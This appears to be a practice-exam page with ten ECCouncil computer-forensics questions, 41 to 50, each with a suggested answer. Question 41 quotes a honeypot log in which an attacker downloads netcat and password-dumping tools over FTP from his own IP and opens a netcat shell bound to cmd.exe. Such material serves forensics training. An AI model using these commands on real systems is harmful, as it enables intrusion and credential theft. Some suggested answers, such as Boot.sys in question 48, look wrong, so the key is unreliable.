ExamGecko
Login
Home / ECCouncil / 312-49v10 / List of questions
Ask Question

ECCouncil 312-49v10 Practice Test - Questions Answers, Page 5

List of questions

Question 41

Report Export Collapse

The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.

He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"

"cmd1.exe /c echo johna2k >>ftpcom"

"cmd1.exe /c echo haxedj00 >>ftpcom"

"cmd1.exe /c echo get nc.exe >>ftpcom"

"cmd1.exe /c echo get pdump.exe >>ftpcom"

"cmd1.exe /c echo get samdump.dll >>ftpcom"

"cmd1.exe /c echo quit >>ftpcom"

"cmd1.exe /c ftp -s:ftpcom"

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

It is a local exploit where the attacker logs in using username johna2k
It is a local exploit where the attacker logs in using username johna2k
There are two attackers on the system - johna2k and haxedj00
There are two attackers on the system - johna2k and haxedj00
The attack is a remote exploit and the hacker downloads three files
The attack is a remote exploit and the hacker downloads three files
The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port
Suggested answer: C
Explanation:

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.

Explanation:

asked 18/09/2024
Sam Poon
46 questions

Question 42

Report Export Collapse

What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?

rootkit
rootkit
key escrow
key escrow
steganography
steganography
Offset
Offset
Suggested answer: C
asked 18/09/2024
Arnaud DUTEL
36 questions

Question 43

Report Export Collapse

During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore, you report this evidence. This type of evidence is known as:

Inculpatory evidence
Inculpatory evidence
Mandatory evidence
Mandatory evidence
Exculpatory evidence
Exculpatory evidence
Terrible evidence
Terrible evidence
Suggested answer: C
asked 18/09/2024
EduBP srl De Sanctis
39 questions

Question 44

Report Export Collapse

If you discover a criminal act while investigating a corporate policy abuse, it becomes a publicsector investigation and should be referred to law enforcement?

true
true
false
false
Suggested answer: A
asked 18/09/2024
Ramakrishnan Subramanian
39 questions

Question 45

Report Export Collapse

What binary coding is used most often for e-mail purposes?

MIME
MIME
Uuencode
Uuencode
IMAP
IMAP
SMTP
SMTP
Suggested answer: A
asked 18/09/2024
Adrian Petrisoaia
44 questions

Question 46

Report Export Collapse

If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude?

The system files have been copied by a remote attacker
The system files have been copied by a remote attacker
The system administrator has created an incremental backup
The system administrator has created an incremental backup
The system has been compromised using a t0rnrootkit
The system has been compromised using a t0rnrootkit
Nothing in particular as these can be operational files
Nothing in particular as these can be operational files
Suggested answer: D
asked 18/09/2024
Babak Sadeghpour
33 questions

Question 47

Report Export Collapse

From the following spam mail header, identify the host IP that sent this spam?

From [email protected] [email protected] Tue Nov 27 17:27:11 2001

Received: from viruswall.ie.cuhk.edu.hk (viruswall [137.189.96.52]) by eng.ie.cuhk.edu.hk

(8.11.6/8.11.6) with ESMTP id

fAR9RAP23061 for ; Tue, 27 Nov 2001 17:27:10 +0800 (HKT)

Received: from mydomain.com (pcd249020.netvigator.com [203.218.39.20]) by viruswall.ie.cuhk.edu.hk (8.12.1/8.12.1)

with SMTP id fAR9QXwZ018431 for ; Tue, 27 Nov 2001 17:26:36 +0800 (HKT)

Message-Id: >[email protected]

From: "china hotel web"

To: "Shlam"

Subject: SHANGHAI (HILTON HOTEL) PACKAGE

Date: Tue, 27 Nov 2001 17:25:58 +0800 MIME-Version: 1.0

X-Priority: 3 X-MSMail-

Priority: Normal

Reply-To: "china hotel web"

137.189.96.52
137.189.96.52
8.12.1.0
8.12.1.0
203.218.39.20
203.218.39.20
203.218.39.50
203.218.39.50
Suggested answer: C
asked 18/09/2024
Madhankumar Rathinakumar
42 questions

Question 48

Report Export Collapse

If you plan to startup a suspect's computer, you must modify the ___________ to ensure that you do not contaminate or alter data on the suspect's hard drive by booting to the hard drive.

deltree command
deltree command
CMOS
CMOS
Boot.sys
Boot.sys
Scandisk utility
Scandisk utility
Suggested answer: C
asked 18/09/2024
Pang Guo Ming
35 questions

Question 49

Report Export Collapse

You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics lab. How many law-enforcement computer investigators should you request to staff the lab?

8
8
1
1
4
4
2
2
Suggested answer: C
asked 18/09/2024
Jason Evans
52 questions

Question 50

Report Export Collapse

When obtaining a warrant, it is important to:

particularlydescribe the place to be searched and particularly describe the items to be seized
particularlydescribe the place to be searched and particularly describe the items to be seized
generallydescribe the place to be searched and particularly describe the items to be seized
generallydescribe the place to be searched and particularly describe the items to be seized
generallydescribe the place to be searched and generally describe the items to be seized
generallydescribe the place to be searched and generally describe the items to be seized
particularlydescribe the place to be searched and generally describe the items to be seized
particularlydescribe the place to be searched and generally describe the items to be seized
Suggested answer: A
asked 18/09/2024
Paulo Cury
39 questions
Total 704 questions
Go to page: of 71
Search
Open VPLUS File
Convert VPLUS to PDF

Related questions

In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?
Malware analysis can be conducted in various manners. An investigator gathers a suspicious executable file and uploads It to VirusTotal in order to confirm whether the file Is malicious, provide information about Its functionality, and provide Information that will allow to produce simple network signatures. What type of malware analysis was performed here?
This law sets the rules for commercial email, establishes requirements for commercial messages, gives recipients the right to have you stop emailing them, and spells out tough penalties for violations.
Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?
During the course of a corporate investigation, you find that an Employee is committing a crime. Can the Employer file a criminal complaint with Police?
An Investigator Is checking a Cisco firewall log that reads as follows: Aug 21 2019 09:16:44: %ASA-1-106021: Deny ICMP reverse path check from 10.0.0.44 to 10.0.0.33 on Interface outside What does %ASA-1-106021 denote?
Which of the following refers to the data that might still exist in a cluster even though the original file has been overwritten by another file?
Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do write themselves to the hard drive, if you turn the system off they disappear. In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory?
Which of the following tools is used to dump the memory of a running process, either immediately or when an error condition occurs?
You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firm's employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will. What do you do?